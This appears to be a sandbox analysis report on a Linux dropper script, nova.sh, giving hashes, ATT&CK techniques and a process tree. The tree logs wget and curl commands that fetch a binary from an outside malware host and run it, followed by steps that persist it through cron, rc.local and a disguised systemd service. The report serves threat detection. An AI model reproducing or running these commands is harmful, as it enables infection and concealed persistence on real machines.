9728e7f22e24621f3d648aab1c75fac2464d0024286dc45791037eb133365a8f

Analysis

max time kernel
3s
max time network
2s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05/07/2026, 00:14

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General

Target
nova.sh
Size 2KB
Sample260705-ajmlzaaz7m
SHA256 9728e7f22e24621f3d648aab1c75fac2464d0024286dc45791037eb133365a8f
MD5 e2318539193ba3efec63459e2b5437a3
SHA1 05bfced71fc5e319a3b605257075cff511081b31
SHA512 dd6ca460718f481f214a239133b6da6ddd4af6f993e131c3af990daa926fbe6eac206d6f5a4612102fba466208e62b7fd6fd83973abaa42eb977093e31f10e7f
TLSH
T17B51CEE1B835D435F94DA439EB9D63987582241F0A18BE14758F783D0B8C94C23FE675
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
676	chmod
680	chmod
685	chmod

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.6z1fLc	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	nova.sh

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/dropbear-helper.service	nova.sh

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/3/stat	pidof
File opened for reading	/proc/4/stat	pidof
File opened for reading	/proc/20/stat	pidof
File opened for reading	/proc/97/stat	pidof
File opened for reading	/proc/579/stat	pidof
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/7/stat	pidof
File opened for reading	/proc/22/cmdline	pidof
File opened for reading	/proc/75/cmdline	pidof
File opened for reading	/proc/319/stat	pidof
File opened for reading	/proc/7/cmdline	pidof
File opened for reading	/proc/2/stat	pidof
File opened for reading	/proc/12/cmdline	pidof
File opened for reading	/proc/18/cmdline	pidof
File opened for reading	/proc/23/stat	pidof
File opened for reading	/proc/632/stat	pidof
File opened for reading	/proc/640/cmdline	pidof
File opened for reading	/proc/647/stat	pidof
File opened for reading	/proc/15/cmdline	pidof
File opened for reading	/proc/19/stat	pidof
File opened for reading	/proc/75/stat	pidof
File opened for reading	/proc/166/cmdline	pidof
File opened for reading	/proc/298/cmdline	pidof
File opened for reading	/proc/303/stat	pidof
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/11/cmdline	pidof
File opened for reading	/proc/41/cmdline	pidof
File opened for reading	/proc/158/cmdline	pidof
File opened for reading	/proc/294/cmdline	pidof
File opened for reading	/proc/647/cmdline	pidof
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/24/cmdline	pidof
File opened for reading	/proc/307/stat	pidof
File opened for reading	/proc/643/cmdline	pidof
File opened for reading	/proc/28/stat	pidof
File opened for reading	/proc/153/cmdline	pidof
File opened for reading	/proc/169/cmdline	pidof
File opened for reading	/proc/208/cmdline	pidof
File opened for reading	/proc/572/cmdline	pidof
File opened for reading	/proc/579/cmdline	pidof
File opened for reading	/proc/5/cmdline	pidof
File opened for reading	/proc/14/cmdline	pidof
File opened for reading	/proc/23/cmdline	pidof
File opened for reading	/proc/208/stat	pidof
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1/cmdline	pidof
File opened for reading	/proc/19/cmdline	pidof
File opened for reading	/proc/26/cmdline	pidof
File opened for reading	/proc/27/stat	pidof
File opened for reading	/proc/29/stat	pidof
File opened for reading	/proc/169/stat	pidof
File opened for reading	/proc/6/cmdline	pidof
File opened for reading	/proc/18/stat	pidof
File opened for reading	/proc/107/cmdline	pidof
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/8/cmdline	pidof
File opened for reading	/proc/10/stat	pidof
File opened for reading	/proc/11/stat	pidof
File opened for reading	/proc/20/cmdline	pidof
File opened for reading	/proc/21/stat	pidof
File opened for reading	/proc/24/stat	pidof
File opened for reading	/proc/42/cmdline	pidof
File opened for reading	/proc/107/stat	pidof

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nova.armv7l	wget
File opened for modification	/tmp/nova.armv7l	curl

/tmp/nova.sh
/tmp/nova.sh
1⤵
- Modifies rc script
- Modifies systemd
PID:643
- /bin/uname
  uname -m
  2⤵
  PID:646
- /bin/pidof
  pidof nova.armv7l
  2⤵
  - Reads runtime system information
  PID:649
- /bin/rm
  rm -f /tmp/nova.armv7l
  2⤵
  PID:655
- /usr/bin/wget
  wget -q http://zov.ismak.icu/bins/nova.armv7l -O /tmp/nova.armv7l
  2⤵
  - Writes file to tmp directory
  PID:658
- /usr/bin/curl
  curl -s -o /tmp/nova.armv7l http://zov.ismak.icu/bins/nova.armv7l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:674
- /bin/chmod
  chmod 777 /tmp/nova.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /bin/mkdir
  mkdir -p /var/lib/.nova
  2⤵
  - Reads runtime system information
  PID:678
- /tmp/nova.armv7l
  /tmp/nova.armv7l
  2⤵
  PID:677
- /bin/sh
  /bin/sh /tmp/nova.armv7l
  2⤵
  PID:677
- /bin/cp
  cp /tmp/nova.armv7l /var/lib/.nova/nova.armv7l
  2⤵
  PID:679
- /bin/chmod
  chmod 777 /var/lib/.nova/nova.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:682
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:683
- /bin/grep
  grep -v /var/lib/.nova
  2⤵
  PID:684
- /bin/chmod
  chmod +x /etc/rc.local
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /bin/cat
  cat
  2⤵
  PID:686
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:687
- /bin/systemctl
  systemctl enable dropbear-helper.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:710
- /bin/systemctl
  systemctl start dropbear-helper.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:745

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

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rc.local

Path /etc/rc.local
Size 39B
SHA256 8447303f6956d68ef63a31dc494b1bd6f0105797c76379866951ba63fccf3bdd
MD5 a8cb4ff1ade78f5a34af6324d6dad753
SHA1 935ef7716bf67ed45b8b564bd781187cc940925a
SHA512 d3207c69410ba17bf68cd9c0ac0bc6fac05bc63fef70d994ccbcfc6860c0778f49049b77495a736b0193d3db08140b4a54e24707b3d76f95a085f2c216cccb65
MD5 SHA1 SHA512

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rc.local

Path /etc/rc.local
Size 46B
SHA256 0d7dcb207fb1c2d415e1869c89bef72866eee5ad47882364dfa9bfa8dde3709f
MD5 6287a3a78f3dab6ea81148f35fc0a0da
SHA1 359152878b57164e33d01d6bd86960839f1bfbaf
SHA512 80bfe6aeb8085370aa626a48d3b20c9f0e3a58730066686f80d3bbb24f380fd927e2c23cd3a7a6e434bafbbb2278cbad5d811f08feb0f5fc6a98014e25e8b0a2
MD5 SHA1 SHA512

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dropbear-helper.service

Path /etc/systemd/system/dropbear-helper.service
Size 184B
SHA256 55078f46cad5dd3293d69f972fb16d4ea5b62444913db362b03aa307c94ec5a4
MD5 33503e3a028ba41277e66ff9ff6d16e1
SHA1 c3f30a96382845c94d558249926a5ae304ae8201
SHA512 5da2e70b2da4b432a2ffe56c9fcdc87a4d357e3a89faab2e4b0b123edf76b88eeccfbbf1f91056d0a4f479212a37b2492a445ecab484ebe70e84c2d0e9038ed1
TLSH
T198C02223A77024A0D9AF2836DF723F00881002008F8EE2304FD01C0300E200A0431A99
MD5 SHA1 SHA512 TLSH

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nova.armv7l

Path /var/lib/.nova/nova.armv7l
Size 4KB
SHA256 1bce255d343de15d3c7ca48b1621e06f29ec2f9a1750e8f64ce48e57233b5776
MD5 b38b3be7a3f6dae1828c1e3f2ea49779
SHA1 980101519d399622d62c7599568075436899d321
SHA512 f378e13080d795df4f66a8b45d35ccbfc349cae500b4378dfa64c54b204ce79a61a0b2f19d5cd72ac893fd0647987d9afe4a8e4b76941a9d7266fff77899bf01
SSDEEP 96:fjFj7jOjEDDK/D5DMFLzLex0zeZNeBuc7RLlvaQxvbzM:fjFj7jOjEHK/VoPymeZyuc7xlCejzM
TLSH
T147A19632F9F9117F1093926276BCA70A7AA1C153DB9618903ABCC2755F8EF45ED072C1
MD5 SHA1 SHA512 SSDEEP TLSH

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tmp.6z1fLc

Path /var/spool/cron/crontabs/tmp.6z1fLc
Size 485B
SHA256 062b6d7eef15503c48acc6ad0db8fec048f2ccd615807e04317530f3a8c4a100
MD5 a38a3a62a6df76be2f35b136601a2a39
SHA1 4aae3d091f5f6c2fa922bce804061df82089183d
SHA512 e578e69e22cf1bdfe77562624b5a617c391c07282cf562186d9012a4054ab372b190eefd4d08bcf1b7f26b23f846194b6546226be90fe28e16b9f74f22e9df5b
TLSH
T166F054F8765D7C3277CD292CF7681558AC8750798F64DB40DD4E2926012A21E7632B51
MD5 SHA1 SHA512 TLSH

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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